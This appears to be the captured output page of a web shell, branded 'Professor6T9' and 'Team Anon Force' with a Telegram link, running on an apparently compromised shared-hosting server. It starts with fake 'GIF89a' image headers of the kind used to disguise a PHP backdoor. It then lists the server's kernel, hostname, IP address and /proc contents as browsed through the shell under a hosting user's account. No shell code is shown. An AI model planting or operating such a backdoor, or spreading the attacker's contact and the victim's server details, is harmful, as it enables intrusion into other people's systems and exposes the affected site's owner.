GIF89;aGIF89;aGIF89;a

Team Anon Force

https://t.me/Professor6T9x

Professor6T9 Web SheLL
 Linux premium237.web-hosting.com 4.18.0-553.62.1.lve.el8.x86_64 #1 SMP Mon Jul 21 17:50:35 UTC 2025 x86_64
 LiteSpeed
 66.29.146.201
Name Type Size Owner/Group Permission Last Modified Actions
. dir - root/root 0555 2025-08-12 08:49:36
.. dir - root/root 0755 2025-08-05 08:40:42
3724889 dir - samuewbq/samuewbq 0555 2026-01-07 08:50:03
3724891 dir - samuewbq/samuewbq 0555 2026-01-07 08:50:03
3725589 dir - samuewbq/samuewbq 0555 2026-01-07 08:50:03
3796552 dir - samuewbq/samuewbq 0555 2026-01-07 08:50:03
3858665 dir - samuewbq/samuewbq 0555 2026-01-07 08:50:03
3912291 dir - samuewbq/samuewbq 0555 2026-01-07 08:53:54
3919491 dir - samuewbq/samuewbq 0555 2026-01-07 08:54:28
3921615 dir - samuewbq/samuewbq 0555 2026-01-07 08:54:38
3931033 dir - samuewbq/samuewbq 0555 2026-01-07 08:55:14
3936838 dir - samuewbq/samuewbq 0555 2026-01-07 08:55:41
3947030 dir - samuewbq/samuewbq 0555 2026-01-07 08:56:28
3950323 dir - samuewbq/samuewbq 0555 2026-01-07 08:56:41
3950363 dir - samuewbq/samuewbq 0555 2026-01-07 08:56:41
acpi dir - root/root 0555 2025-08-12 08:49:40
bus dir - root/root 0555 2025-08-12 08:49:50
driver dir - root/root 0555 2026-01-07 08:56:20
fs dir - root/root 0555 2025-08-12 08:49:50
irq dir - root/root 0555 2025-08-12 08:49:50
kcare dir - root/root 0555 2026-01-07 08:56:20
lve dir - root/root 0555 2026-01-07 08:56:19
net link - samuewbq/samuewbq 0555 2026-01-07 08:56:44
scsi dir - root/root 0555 2025-08-12 08:49:50
self link - samuewbq/samuewbq 0555 2026-01-07 08:55:14
sys dir - root/root 0555 2025-08-12 08:49:38
sysvipc dir - root/root 0555 2026-01-07 08:56:20
thread-self link - samuewbq/samuewbq 0555 2026-01-07 08:56:19
tty dir - root/root 0555 2026-01-07 08:56:20
buddyinfo 0 B root/root 0444 2026-01-07 08:56:20
cgroups 0 B root/root 0444 2026-01-07 08:56:20
cmdline text/plain 0 B root/root 0444 2026-01-07 08:56:20
consoles 0 B root/root 0444 2026-01-07 08:56:20
cpuinfo text/plain 0 B root/root 0444 2026-01-07 08:56:20
crypto 0 B root/root 0444 2026-01-07 08:56:20
devices 0 B root/root 0444 2026-01-07 08:56:20
diskstats 0 B root/root 0444 2026-01-07 08:56:20
dma 0 B root/root 0444 2026-01-07 08:56:20
execdomains 0 B root/root 0444 2026-01-07 08:56:20
fb 0 B root/root 0444 2026-01-07 08:56:20
filesystems text/plain 0 B root/root 0444 2026-01-07 08:40:54
interrupts 0 B root/root 0444 2026-01-07 08:56:20
iomem 0 B root/root 0444 2026-01-07 08:56:20
ioports 0 B root/root 0444 2026-01-07 08:56:20
kallsyms 0 B root/root 0444 2025-08-12 08:49:50
kcore 128 TB root/root 0400 2025-08-12 08:49:41
key-users 0 B root/root 0444 2026-01-07 08:56:20
keys 0 B root/root 0444 2026-01-07 08:56:20
kmsg 0 B root/root 0400 2026-01-07 08:56:20
kpagecgroup 0 B root/root 0400 2026-01-07 08:56:20
kpagecount 0 B root/root 0400 2026-01-07 08:56:20
kpageflags 0 B root/root 0400 2026-01-07 08:56:20
loadavg text/plain 0 B root/root 0444 2026-01-07 08:56:19
locks 0 B root/root 0444 2026-01-07 08:56:20
mdstat 0 B root/root 0444 2026-01-07 08:56:20
meminfo text/plain 0 B root/root 0444 2026-01-07 08:33:08
misc 0 B root/root 0444 2026-01-07 08:56:20
modules 0 B root/root 0444 2026-01-07 08:56:20
mounts text/plain 0 B samuewbq/samuewbq 0444 2026-01-07 08:56:44
mtrr 0 B root/root 0644 2025-08-12 08:49:50
pagetypeinfo 0 B root/root 0400 2026-01-07 08:56:20
partitions 0 B root/root 0444 2026-01-07 08:56:20
sched_debug 0 B root/root 0444 2026-01-07 08:56:20
schedstat 0 B root/root 0444 2026-01-07 08:56:20
slabinfo 0 B root/root 0400 2026-01-07 08:56:20
softirqs 0 B root/root 0444 2026-01-07 08:56:20
stat text/plain 0 B root/root 0444 2026-01-07 08:50:02
swaps 0 B root/root 0444 2025-08-12 08:49:38
sysrq-trigger 0 B root/root 0200 2025-08-12 08:49:50
timer_list 0 B root/root 0400 2026-01-07 08:56:20
uptime text/plain 0 B root/root 0444 2026-01-07 08:41:25
version text/plain 0 B root/root 0444 2026-01-07 08:56:20
vmallocinfo 0 B root/root 0400 2026-01-07 08:56:20
vmstat 0 B root/root 0444 2026-01-07 08:56:19
zoneinfo 0 B root/root 0444 2026-01-07 08:56:20
© Professor6T9